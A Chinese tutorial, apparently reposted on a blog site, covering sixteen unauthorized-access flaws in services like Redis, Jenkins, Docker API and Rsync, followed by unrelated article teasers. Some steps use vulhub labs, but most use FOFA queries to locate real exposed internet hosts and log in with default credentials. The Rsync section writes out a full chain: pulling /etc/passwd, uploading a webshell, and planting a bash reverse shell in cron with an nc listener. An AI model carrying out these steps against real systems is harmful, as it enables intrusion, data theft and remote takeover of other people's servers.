常见的未授权访问漏洞靶场-练习教程

一.Redis未授权访问漏洞

1.首先需要准备一个vps和vulhub靶场,然后进入目录。

命令:进入靶场目录:cd /etc/vulhub-master/redis/4-unacc  启动靶场:docker-compose up -d

2.然后启动我们kali,下载redis服务然后连接redis,并执行命令。(这一步就证明存在未授权访问漏洞)

命令:下载redis:apt-get install redis    连接:redis-cli -h 靶场IP -p 端口

3.接下来需要下载一个攻击项目:https://github.com/n0b0dyCN/redis-rogue-server

4.下载在我们的vps上然后启动,启动命令:python3 redis-rogue-server.py --rhost 目标IP地址 --lhost 本机IP地址

5.然后就可以执行命令了(反弹shell)

二、MongoDB未授权访问漏洞

1.首先需要搭建靶场。

命令:拉取镜像:docker pull mongo   启动容器:docker run -d -p 272017:27017 --name mongodb mongo

2.然后我们使用kali的nmap的插件进行扫描,去扫描一下未授权访问漏洞。命令:nmap -p 27017 --script mongodb-info 47.105.65.103

 3.验证存在未授权访问漏洞后就直接可以使用navicat连接了。

三、Memcached未授权访问漏洞

1.首先我们需要下载Memcached:https://www.runoob.com/memcached/window-install-memcached.html。

2.接下来执行命令:memcached.exe -d install    ----> memcached.exe -d start 

3.接下来打开kali探测,输入:telnet 172.16.2.26 11211 ,接下来就可以操作命令。

3.接下来就可以使用namp程序进行漏洞扫描,打开kali输入:nmap -p 11211 --script memcached-info 172.16.2.26

四、Jenkins未授权访问漏洞

1.使用fofa语法搜索

fofa语法:port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

2.搜到结构筛选到有manage Jenkins的然后按照图片执行。

五、Jupyter NoteBook

1.首先通过fofa语法搜索:"Jupyter Notebook" && port="8888" && "terminals"。然后按照图片操作。

2.然后接下来就可以执行命令了

六、Elasticsearch未授权访问漏洞

1.首先利用fofa搜索,fofa语法:"Elasticsearch" && port="9200"。搜索出来后就可以在后面加上一些敏感目录就可以访问到了。

2.访问到后就可以看到了

七、Kibana未授权访问漏洞

1.使用fofa语法搜索资产,fofa语法:"kibana" && port="5601"

2.接下来寻找有漏洞的网址,有漏洞的网址如图所示

八、Docker Remote API未授权访问漏洞

1.使用fofa搜索:port="2375" && "docker"

2.搜索到后就可以测试是否存在漏洞了,如图所示操作。

九、Kubernetes API Server未授权访问漏洞

1.首先使用fofa搜索:port="8080" && app="Kubernetes"

2.然后接下来在可以使用的网站后面拼接/version,就可以看到信息了

十、Hadoop未授权访问漏洞

1.使用fofa搜索:port="8088" && app="Hadoop"

2.开启页面直接访问不用经过用户密码验证就可以了

十一、ActiveMQ未授权访问漏洞

1.使用fofa搜索:body="ActiveMQ" && port="8161"

2.然后在网址后面拼接/admin进入后台登录,默认账户密码都为:admin

3.登录成功后就可以查看信息了

十二、RabbitMQ未授权访问漏洞

1.我们使用fofa搜索:port="15672"或者port="15692"或者port="25672"、

2.打开页面后就可以登录了,默认账户、密码都是guest

十三、Sprinboot Astuator未授权访问漏洞

1.使用fofa搜索:icon_hash="116323821"

2.当点开链接出来以下界面,就代表定当前 web 应用是使用了springboot 框架

3.可以拼接以下路径查看泄露的数据。

访问/trace端点可以获取基本的HTTP请求跟踪信息,访问/env端点获取全部环境属性

十四、JBOSS未授权访问漏洞

1.我们点开fofa搜索:title="Welcome to JBoss" && icon_hash="-656811182"并且打开一个链接。

2.然后在后面拼接/jmx-console/就可以之间登录进去了

十五、Rsync未授权访问漏洞

1.这一关我们需要用到vulhub靶场,我们来到vulhub靶场然后启动。

命令: 

cd vulhub/rsync/common

docker-compose up -d

2.然后我们来到kali执行命令:rsync rsync://自己靶机的IP/

3.然后我们就可以下载目标靶机上的文件。输入命令:rsync rsync://IP:port/src/etc/passwd ⽬标路径

4.然后我们查看以下下载下来的文件,可以看到成功下载了passwd

5.我们也可以上传文件,比如一句话木马。我们输入:rsync ./phpinfo.php rsync://目标靶机ip/src/home 。 phpinfo.php里面写上一句话木马。

6.接下来我们就可以反弹shell,查看定时任务

7.然后将定时任务文件下载下来,输入:rsync rsync://靶机ip/src/etc/crontab /tmp/tmp/crontab.txt

8.然后创建一个shell文件,输入:/bin/bash -i >& /dev/tcp/监听靶机IP/4444 0>&1

9.给文件授权,输入:chmod 777 shell

10.上传shell到靶机,输入:rsync -av /tmp/tmp/shell rsync://靶机ip/src/etc/cr

on.hourly
11.攻击机器开启端口监听,输入:nc -lvvp 4444

十六、vpc未授权访问漏洞

1.使用fofa搜索:(port="5900") && (is_honeypot=false && is_fraud=false)

2.然后打开kali,输入:msfconsole

3.然后输入:use auxiliary/scanner/vnc/vnc_none_auth

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90931.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90931.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EAP(基于事件的异步编程模式)

📜 1. 核心思想 📌 事件驱动解耦 异步操作通过事件通知结果,调用者无需阻塞线程,通过事件处理器响应操作完成、错误或取消。 📌 线程池与UI线程协同 耗时操作在后台线程池执行,完成后通过 SynchronizationC…

【三桥君】如何解决后端Agent和前端UI之间的交互问题?——解析AG-UI协议的神奇作用

​你好,我是 ✨三桥君✨ 📌本文介绍📌 >> 一、引言 在智能体(Agent)领域,MCP、A2A、ANP等协议已经规范了Agent与工具、Agent与Agent之间的通信,但Agent与用户之间的交互一直缺乏标准化。…

面试官:详细说说Kafka rebalance 的策略以及具体过程

hello啊,各位观众姥爷们!!!本baby今天又来报道了!哈哈哈哈哈嗝🐶 程序员各种工具大全 Kafka 的 Rebalance(再平衡) 是消费者组(Consumer Group)在消费者数量…

C++入门自学Day2-- c++类与对象(初识)

一、面向对象和面向过程1、什么是面向过程(Process-Oriented Programming, POP)📌 定义面向过程强调的是 过程(过程函数),即:按照步骤(流程)组织代码。程序结构 数据结构…

DAO组织智能合约开发:从理论到实践

目录 DAO组织智能合约开发:从理论到实践 1. DAO概述:去中心化自治组织 2. DAO核心组件设计 2.1 架构设计 2.2 关键智能合约 3. 治理代币实现 3.1 ERC20扩展合约 4. 提案管理系统实现 4.1 提案状态机 4.2 提案合约实现 5. DAO核心合约实现 5.1 DAO合约架构 5.2 提案类型扩展 6…

Ubuntu系统完整配置教程

Ubuntu系统完整配置教程 目录 配置镜像源安装网络服务虚拟机中安装CUDAPython开发环境配置Java开发环境配置 1. 配置镜像源 1.1 备份原始源文件 sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup1.2 编辑源文件 sudo nano /etc/apt/sources.list1.3 各大镜像源…

【mysql慢查询】

mysql慢查询慢查询慢查询日志配置慢查询 慢查询是指执行时间超过指定阈值的SQL语句。在MySQL中,默认情况下执行时间超过10秒的查询会被认为是慢查询,但这个阈值可以根据需要进行调整。 慢查询日志配置 -- 查看当前慢查询配置 SHOW VARIABLES LIKE slo…

django 按照外键排序

在Django中,使用外键(ForeignKey)进行排序是一种常见的需求,特别是在处理数据库关系时,如用户和订单之间的关系(一个用户有多个订单)。下面是如何在使用Django ORM时进行基于外键的排序。 定义模…

JAVA_EIGHTEEN_特殊文件

目录 Properties属性文件 XML的作用和应用场景 日志技术 Properties属性文件 约束:只能是键值对 键不能重复 文件后缀一般是.properties结尾的 是一个Map集合(键值对集合) 核心作用:Properties是用来代表属性文件的&#…

第二十二节 MATLAB转置向量、MATLAB追加向量

MATLAB中转置操作能够将一个行向量改变成一个列向量,反之亦然。MATLAB中转置操作使用一个单引号()来表示。详细例子在MATLAB中建立一个脚本文件,输入下述代码:r [ 1 2 3 4 ]; tr r; v [1;2;3;4]; tv v; disp(tr); …

window显示驱动开发—Direct3D 11 视频设备驱动程序接口 (DDI)

这些设备驱动程序接口 (DDI) 是新的或针对Windows 8更新的:CalcPrivateCryptoSessionSizeCalcPrivateAuthenticatedChannelSizeCalcPrivateVideoDecoderOutputViewSizeCalcPrivateVideoDecoderSizeCalcPrivateVideoProcessorEnumSizeCalcPrivateVideoProcessorInput…

新手向:用AI破解数据质量难题

用AI破解数据质量难题:从零开始的完整指南数据质量的重要性及其影响数据质量是数据分析、机器学习和业务流程中不可忽视的核心问题。低质量数据会导致一系列严重后果:错误决策:基于不准确或缺失的数据可能导致管理层做出错误判断。例如&#…

用 Python 获取电脑电池电量的各种案例

更多内容请见: python3案例和总结-专栏介绍和目录 文章目录 方法一:使用 `psutil` 库(跨平台) 方法二:Windows 专用方法(使用 `win32api`) 方法三:macOS 专用方法 方法四:Linux 专用方法 方法五:跨平台统一方法 Python 程序案例:检测电池电量并在低于20%时关机 以下…

Linux->自定义shell

目录 引入: 1:shell是什么? 2:命令行提示符是什么? 3:xshell是什么? 一:命令行提示符 二: 获取用户输入 三:分割字符串 四:执行命令 五…

js中出现-8.881784197001252e-16这种(一个极其接近 0 的极小负数)的浮点数精度计数异常问题解决思路

你的代码中出现 -8.881784197001252e-16(一个极其接近 0 的极小负数)的原因是 JavaScript 浮点数精度问题。具体来说,当你反复进行 加法 和 减法 时,由于浮点数在计算机中的存储方式,可能会引入微小的误差。一、问题情…

超详细的 RustDesk 自建中继节点教程

厌倦了商业远程控制软件的会员限制和功能阉割?渴望拥有一个自由掌控、安全可靠的远程连接方案?开源软件 RustDesk 正是你需要的答案! 相信从事互联网工作的你,一定对向日葵和ToDesk等商业远程控制软件并不陌生。然而,…

Spring Boot 2整合Druid的两种方式

一、自定义整合Druid&#xff08;非Starter方式&#xff09;适用于需要完全手动控制配置的场景添加依赖&#xff08;pom.xml&#xff09;<dependency><groupId>com.alibaba</groupId><artifactId>druid</artifactId><version>1.2.8</ve…

鸿蒙Next-开发版本升级,API升级(例如API12升API16)

鸿蒙更新换代很快的&#xff0c;2025年1月&#xff0c;截至4月就有 DevEco Studio 5.0.2 Release 升级到 DevEco Studio 5.0.3 Release 升级到 DevEco Studio 5.0.4 Release&#xff0c;三次大版本更新。 作者也想在年前创建的项目中体验一下新版本的特性&#xff0c;于是查看了…

树莓派设置时区

查看当前时间 piraspberrypi-CM5:~ $ date Mon 28 Jul 09:22:38 BST 2025BST 指的是 British Summer Time&#xff0c;即英国夏令时&#xff08;UTC1&#xff09;。 所以这是英国&#xff08;伦敦等地&#xff09;在夏令时期间的本地时间&#xff0c;比标准的 UTC 时间快 1 小时…

C Primer Plus 第6版 编程练习——第13章(下)

8.编写一个程序&#xff0c;以一个字符和任意文件名作为命令行参数。如果字符后面没有参数&#xff0c;该程序读取标 淮输入;否则&#xff0c;程序依次打开每个文件并报告每个文件中该字符出现的次数。文件名和字符本身也要一同报告。程序应包含错误检查&#xff0c;以确定参数…